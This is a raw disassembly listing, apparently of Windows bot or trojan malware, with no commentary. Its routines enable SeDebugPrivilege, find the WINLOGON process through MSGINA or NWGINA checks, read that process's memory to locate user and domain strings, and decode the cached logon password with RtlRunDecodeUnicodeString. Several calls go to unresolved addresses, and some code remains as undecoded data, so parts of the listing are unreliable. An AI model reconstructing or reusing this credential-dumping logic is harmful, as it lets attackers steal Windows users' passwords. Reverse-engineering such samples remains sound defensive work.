		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383FC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB93C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB93C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438438
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 0E8905359h, 22E8E94h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84A068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0D9E8FC75h, 9002368Dh, 8F75C085h, 0E8FC75FFh, 21C8DCCh
		dd 1475FF90h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h,	0C0850236h
		dd 9056B175h, 1C8D47E8h, 1C458B02h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438678
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26C0B98h
		nop
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D483C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4830, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A40, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4838, eax
		call	esi
		mov	dword_4D4834, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3830
		push	edi
		push	ebx
		push	offset off_4385B4
		call	esi
		push	edi
		mov	edi, offset dword_4D4030
		push	edi
		push	offset off_43859C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A48
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A48, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438540
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438508
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384DC


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27C0943h
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384A8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D483C
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27D05B8h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D483C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4830
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A40
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4838


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27D05B8h
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4838


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 26A02EBh
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 27F030Fh
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27E0CD1h
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3830
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4030
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2770549h
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2770000h
		nop
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A54, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A4C, eax
		mov	dword_4D4A50, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27D05B8h
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2680157h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26A02EBh
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27F030Fh
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0CD1h
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3830
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4030
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27D05B8h
		nop
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2680157h


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A4C, ebx
		mov	dword_4D4A50, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 2680157h
		nop
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A48
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	ecx, dword_4D4A48
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A50
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A54
		push	eax
		call	dword_4D4834
		push	[ebp+var_4]
		mov	edi, offset dword_4D4840
		push	offset dword_4D3830
		push	offset dword_4D4030
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27D05B8h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A48
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27E0C3Dh
		push	eax
		nop
		call	near ptr 27E0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4030
		mov	edi, 200h
		mov	esi, offset dword_4D3630


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A48
		add	eax, eax
		push	eax
		push	dword_4D4A50
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4834
		mov	eax, dword_4D4A48
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27E0C3Dh
		push	eax
		nop
		call	near ptr 27D05B8h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
